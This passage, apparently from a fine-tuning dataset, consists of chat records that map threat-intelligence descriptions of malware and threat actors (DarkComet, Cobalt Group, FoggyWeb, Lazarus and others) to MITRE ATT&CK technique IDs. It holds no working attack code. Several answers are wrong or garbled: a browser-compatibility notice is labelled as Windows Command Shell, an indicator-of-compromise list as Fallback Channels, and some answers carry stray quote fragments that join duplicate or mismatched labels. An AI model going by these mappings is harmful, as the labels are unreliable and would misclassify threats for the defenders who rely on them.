                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT is deployed using an interesting technique of compiling and executing a downloader via a malicious macro embedded within a Microsoft Excel file. The Excel files themselves contain lures that have financial themes. This threat has had a low volume of samples in the past two years, with 11 instances of Carp Downloader and 27 instances of Cardinal RAT observed"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet has a keylogging capability."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig has used a custom routine to decrypt strings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper has the ability to corrupt disk partitions and obtain raw disk access to destroy data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "saves itself with a leading \".\" so that it's hidden from users by default."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To establish persistence,  adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains an implementation of netstat to enumerate TCP and UDP connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Registry traversal for Putty data exfiltration (left), code showing hostname, username and Private Key Files (right"
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron collects Exchange emails matching rules specified in its configuration."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has used various methods of process injection including hot patching."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover. The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server. We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server. The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter. Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used at to register a scheduled task to execute malware during lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the period between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related to M.E. Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial institutions"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can identify the processes for Bkav antivirus."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manual reverse engineering, we were able to extract the main malicious Python modules from the Xbash executables and decompile them successfully. Therefore, in the later sections of this analysis, we show the Python source code."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. The Cobalt Strike module can use several profiles and switch between data exchange methods on command from the C&amp;C server without the need to update the module. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS has created a scheduled task named \"MicrosoftEdge\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "4 Upload edg499.dat, which includes the list of interesting files"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After collecting files and logs from the victim,  encrypts some collected data with Blowfish."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Process Explorer, Process Monitor and PCHunter have been utilized to discover any anti-malware or monitoring software and terminate it."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrailBlazer has used filenames that match the name of the compromised system in attempt to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An older variant of PLAINTEE performs UAC bypass."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses PowerShell to retrieve the malicious payload and download additional resources such as Mimikatz and Rclone."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "You are using Microsoft Internet Explorer. We recommend using Chrome or Firefox for the best experience"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the user clicks on the link, he will be prompted to download a RAR file that contains the stage 1 malware/lure, which he will execute afterwards"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Enumerate all CLRs loaded in the AD FS process Microsoft.IdentityServer.ServiceHost.exe - For each CLR, enumerate all running application domains and perform the following actions for each domain: Read the contents of the following encrypted FoggyWeb backdoor file into memory: C:\\Windows\\SystemResources\\Windows.Data.TimeZones\\pris\\Windows.Data.TimeZones.zh-PH.pri Decrypt the encrypted FoggyWeb backdoor file using the Lightweight Encryption Algorithm (LEA). The LEA-128 key schedule uses the following hardcoded master key to generate the round keys: - Read the contents of the following encrypted FoggyWeb backdoor file into memory: C:\\Windows\\SystemResources\\Windows.Data.TimeZones\\pris\\Windows.Data.TimeZones.zh-PH.pri - Decrypt the encrypted FoggyWeb backdoor file using the Lightweight Encryption Algorithm (LEA). The LEA-128 key schedule uses the following hardcoded master key to generate the round keys"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While Diavol is not packed nor has any anti-disassembly tricks, it does use an interesting anti-analysis technique to obfuscate its code. Its main routines are kept in bitmap images, which are stored in the PE resource section. Before calling each routine, it copies the bytes from the bitmap to a global buffer that has execute permissions"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP for communication to the control servers."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme has the ability to capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox has the ability to download next stage malware components to a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HARDRAIN opens the Windows Firewall to modify incoming connections."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Via WMI (winmgmt), the JavaScript or VBscript code in the SCT file spawns a PowerShell one-liner which finally consumes the text file"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer compares file names and paths to a list of excluded names and directory names during encryption."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY has the ability to steal data from the Chrome, Edge, Firefox, Thunderbird, and Opera browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "includes garbage code to mislead anti-malware software and researchers."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has a command to start an interactive shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuditCred can search through folders and files on the system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intelligence gathering and stealing information has generally been the motivation behind Cicada’s attacks in the past, and that would appear to be the case in this attack campaign too. We observed the attackers archiving some folders of interest in these attacks, including in one organization folders relating to human resources (HR), audit and expense data, and meeting memos"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seth-Locker has the ability to download and execute files on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the “open” function using the ShellExecuteW API function"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has collected data of interest from network shares."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Expand can be used to download or upload a file over a network share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the instances we have observed, the threat actor sent spear-phishing emails, luring the victims to open a malicious Microsoft Excel/Word document. The Word droppers were using standard VBA macros to download the payload. The actor tailored the decoy contents to the targeted victims, using logos and themes relevant to the targeted company or using trending topics from their region and, in one instance, even mimicking the Palestinian authority"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A variant of Zebrocy captures screenshots of the victim’s machine in JPEG and BMP format."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has lured victims into executing malicious macros embedded within Microsoft Office documents."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used DNS tunneling for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors deployed malware that used API calls, including `CreateProcessAsUser`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChromeUpdate.exe starts the file with “rundll32 cache.dll,ADB_Setup” Cache.dll analysis  Cache.dll was written in C/C++ and built with a Microsoft compiler"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These redirects were implemented by adding two malicious scripts obfuscated by a tool similar to the Dean Edwards packer"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indicators of Compromise (IoCs)    C&C servers    Ssl[.]arkouthrie[.]com   s3[.]hiahornber[.]com   widget[.]shoreoa[.]com       SHA256   Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a   Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4   Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f   The post New MacOS Backdoor Linked to OceanLotus Found appeared first on"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds a Registry Run key for ctfmon.exe to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet propagates using the MS10-061 Print Spooler and MS08-067 Windows Server Service vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. The \"Blackwater.bas\" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. The actors have made some small changes, such as altering the variable names to avoid Yara detection and sending the results of the commands to the C2 in the URL instead of writing them to file. Notably, a number of the PowerShell commands used to enumerate the host appear to be derived from a GitHub projected called FruityC2. Most of the PowerShell commands would call Windows Management Instrumentation (WMI) and then query the following information"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of listing contents of folders on the victim.  also searches for custom network encryption software on victims."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEARDROP ran as a Windows service from the \"c:\\windows\\syswow64\" folder."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BACKSPACE attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has deployed malware designed not to run on computers set to Korean, Japanese, or Chinese in Windows language preferences."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT encrypts instructions in the payload using a simple XOR cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
